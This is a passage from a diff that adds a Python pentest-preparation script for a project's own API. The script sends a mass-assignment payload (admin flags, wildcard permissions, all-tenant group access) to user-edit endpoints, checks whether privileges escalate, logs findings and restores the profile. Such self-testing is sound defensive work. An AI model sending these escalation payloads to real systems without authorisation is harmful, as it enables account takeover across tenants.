'role': 'admin',
|
|
71
|
+
'roleIds': ['role-platform-manager'],
|
|
72
|
+
'groupIds': ['*-all-tenants-*'],
|
|
73
|
+
'isAdmin': True,
|
|
74
|
+
'accessLevel': 999,
|
|
75
|
+
'permissions': ['*'],
|
|
76
|
+
'createdBy': 'admin-user',
|
|
77
|
+
'passwordHash': 'fake-hash',
|
|
78
|
+
'id': 'attacker-chosen-id',
|
|
79
|
+
'status': 'admin',
|
|
80
|
+
'internalNotes': 'pwned',
|
|
81
|
+
}
|
|
82
|
+
# PROJECT-SPECIFIC END
|
|
83
|
+
|
|
84
|
+
findings = []
|
|
85
|
+
|
|
86
|
+
def probe(label, method, path, base_body, tok, expected_field_changes=None):
|
|
87
|
+
"""Issue request with payload = base_body ∪ DANGER_FIELDS, then re-fetch /me to see if anything stuck."""
|
|
88
|
+
body = {**(base_body or {}), **DANGER_FIELDS}
|
|
89
|
+
r = subprocess.run(['curl', '-s', '-X', method, f'{TARGET}{path}',
|
|
90
|
+
'-H', f'Authorization: Bearer {tok}',
|
|
91
|
+
'-H', 'Content-Type: application/json',
|
|
92
|
+
'-d', json.dumps(body),
|
|
93
|
+
'-w', '\nHTTP_CODE:%{http_code}'],
|
|
94
|
+
capture_output=True, text=True)
|
|
95
|
+
out = r.stdout
|
|
96
|
+
code = int(out.split('HTTP_CODE:')[-1].strip()) if 'HTTP_CODE:' in out else 0
|
|
97
|
+
body_text = out.split('\nHTTP_CODE:')[0]
|
|
98
|
+
|
|
99
|
+
me_after = get_me(tok)
|
|
100
|
+
|
|
101
|
+
escalations = {}
|
|
102
|
+
for k, v in DANGER_FIELDS.items():
|
|
103
|
+
before = AGENT_ME.get(k)
|
|
104
|
+
after = me_after.get(k)
|
|
105
|
+
if after != before and after == v:
|
|
106
|
+
escalations[k] = {'before': before, 'after': after}
|
|
107
|
+
|
|
108
|
+
if escalations:
|
|
109
|
+
severity = 'CRITICAL'
|
|
110
|
+
elif code in (200, 201, 204):
|
|
111
|
+
severity = 'HIGH' if 'roleIds' in body_text or 'groupIds' in body_text else 'PASS'
|
|
112
|
+
elif code in (400, 403, 422):
|
|
113
|
+
severity = 'PASS'
|
|
114
|
+
else:
|
|
115
|
+
severity = 'INVESTIGATE'
|
|
116
|
+
|
|
117
|
+
findings.append({
|
|
118
|
+
'label': label, 'method': method, 'path': path, 'status': code,
|
|
119
|
+
'severity': severity, 'escalations_observed': escalations,
|
|
120
|
+
'response_preview': body_text[:200],
|
|
121
|
+
})
|
|
122
|
+
|
|
123
|
+
mark = '!!' if severity == 'CRITICAL' else ('??' if severity == 'INVESTIGATE' else ('-' if severity == 'HIGH' else 'OK'))
|
|
124
|
+
print(f" [{mark}] [{severity}] {method} {path} -> {code}")
|
|
125
|
+
if escalations:
|
|
126
|
+
for k, change in escalations.items():
|
|
127
|
+
print(f" FIELD STUCK: {k} {change['before']!r} -> {change['after']!r}")
|
|
128
|
+
|
|
129
|
+
# PROJECT-SPECIFIC START
|
|
130
|
+
# TODO: each probe targets a real user-edit endpoint in your project. Replace
|
|
131
|
+
# the paths and base_body fields with the real shape your API expects.
|
|
132
|
+
print()
|
|
133
|
+
print("=== Probe 1: PATCH /api/users/{me} with extras (self-edit path) ===")
|
|
134
|
+
probe('self-edit-patch', 'PATCH', f"/api/users/{AGENT_ME['id']}", {'name': AGENT_ME.get('name', 'Test')}, AGENT_TOK)
|
|
135
|
+
|
|
136
|
+
print()
|
|
137
|
+
print("=== Probe 2: PUT /api/users/{me} with extras (self-edit alt verb) ===")
|
|
138
|
+
probe('self-edit-put', 'PUT', f"/api/users/{AGENT_ME['id']}", {'name': AGENT_ME.get('name', 'Test')}, AGENT_TOK)
|
|
139
|
+
|
|
140
|
+
print()
|
|
141
|
+
print("=== Probe 3: PATCH /api/auth/me with extras (auth-namespace self-edit) ===")
|
|
142
|
+
probe('auth-me-patch', 'PATCH', "/api/auth/me", {'name': AGENT_ME.get('name', 'Test')}, AGENT_TOK)
|
|
143
|
+
|
|
144
|
+
print()
|
|
145
|
+
print("=== Probe 4: PUT /api/users/me with extras (string 'me' resolution) ===")
|
|
146
|
+
probe('me-alias-put', 'PUT', "/api/users/me", {'name': AGENT_ME.get('name', 'Test')}, AGENT_TOK)
|
|
147
|
+
|
|
148
|
+
print()
|
|
149
|
+
print("=== Probe 5: as AGENT (no users:manage), call admin PUT — should 403 ===")
|
|
150
|
+
probe('admin-put-as-agent', 'PUT', f"/api/admin/users/{AGENT_ME['id']}", {'name': AGENT_ME.get('name', 'Test')}, AGENT_TOK)
|
|
151
|
+
|
|
152
|
+
print()
|
|
153
|
+
print("=== Probe 6: as AGENT, call admin POST create — should 403 ===")
|
|
154
|
+
probe('admin-create-as-agent', 'POST', "/api/admin/users", {'name': 'pwn', 'email': 'pwn@test.com', 'password': 'Pwn123!@', 'role': 'admin'}, AGENT_TOK)
|
|
155
|
+
|
|
156
|
+
print()
|
|
157
|
+
print("=== Probe 7: as ADMIN, PUT user with mass-assignment payload (does the schema reject extras?) ===")
|
|
158
|
+
admin_me = get_me(ADMIN_TOK)
|
|
159
|
+
probe('admin-put-agent', 'PUT', f"/api/admin/users/{AGENT_ME['id']}",
|
|
160
|
+
{'name': AGENT_ME.get('name', 'Test')}, ADMIN_TOK)
|
|
161
|
+
# PROJECT-SPECIFIC END
|
|
162
|
+
|
|
163
|
+
# Save findings
|
|
164
|
+
out_path = ROOT / 'security/pentest-prep/reports/mass-assignment/findings.json'
|
|
165
|
+
out_path.parent.mkdir(parents=True, exist_ok=True)
|
|
166
|
+
out_path.write_text(json.dumps(findings, indent=2))
|
|
167
|
+
|
|
168
|
+
# Summary
|
|
169
|
+
crit = sum(1 for f in findings if f['severity'] == 'CRITICAL')
|
|
170
|
+
high = sum(1 for f in findings if f['severity'] == 'HIGH')
|
|
171
|
+
investig = sum(1 for f in findings if f['severity'] == 'INVESTIGATE')
|
|
172
|
+
ok = sum(1 for f in findings if f['severity'] == 'PASS')
|
|
173
|
+
|
|
174
|
+
print()
|
|
175
|
+
print(f"=== Summary ===")
|
|
176
|
+
print(f" CRITICAL (escalation observed): {crit}")
|
|
177
|
+
print(f" HIGH (field accepted, suspect): {high}")
|
|
178
|
+
print(f" INVESTIGATE (unusual response): {investig}")
|
|
179
|
+
print(f" PASS (rejected or stripped): {ok}")
|
|
180
|
+
print(f" Detailed JSON: {out_path}")
|
|
181
|
+
|
|
182
|
+
# Cleanup: restore agent's roleIds + tenantIds if they were modified
|
|
183
|
+
me_after = get_me(AGENT_TOK)
|
|
184
|
+
needs_restore = False
|
|
185
|
+
for f in ['groupIds', 'roleIds']: # TODO: update to your tenancy/role field names
|
|
186
|
+
if me_after.get(f) != AGENT_ME.get(f):
|
|
187
|
+
needs_restore = True
|
|
188
|
+
print(f" ! AGENT's {f} was MODIFIED. Before: {AGENT_ME.get(f)} After: {me_after.get(f)}")
|
|
189
|
+
if needs_restore:
|
|
190
|
+
print()
|
|
191
|
+
print(f" ! Restoring agent profile to original state via admin token...")
|
|
192
|
+
restore_body = {'roleIds': AGENT_ME.get('roleIds', []), 'groupIds': AGENT_ME.get('groupIds', [])}
|
|
193
|
+
r = subprocess.run(['curl', '-s', '-X', 'PUT', f"{TARGET}/api/admin/users/{AGENT_ME['id']}",
|
|
194
|
+
'-H', f'Authorization: Bearer {ADMIN_TOK}',
|
|
195
|
+
'-H', 'Content-Type: application/json',
|
|
196
|
+
'-d', json.dumps(restore_body),
|
|
197
|
+
'-w', '\nHTTP_CODE:%{http_code}'],
|
|
198
|
+
capture_output=True, text=True)
|
|
199
|
+
print(f" restore status: {r.stdout.split('HTTP_CODE:')[-1].strip()}")
|
|
200
|
+
|
|
201
|
+
sys.exit(1 if crit > 0 else 0)
|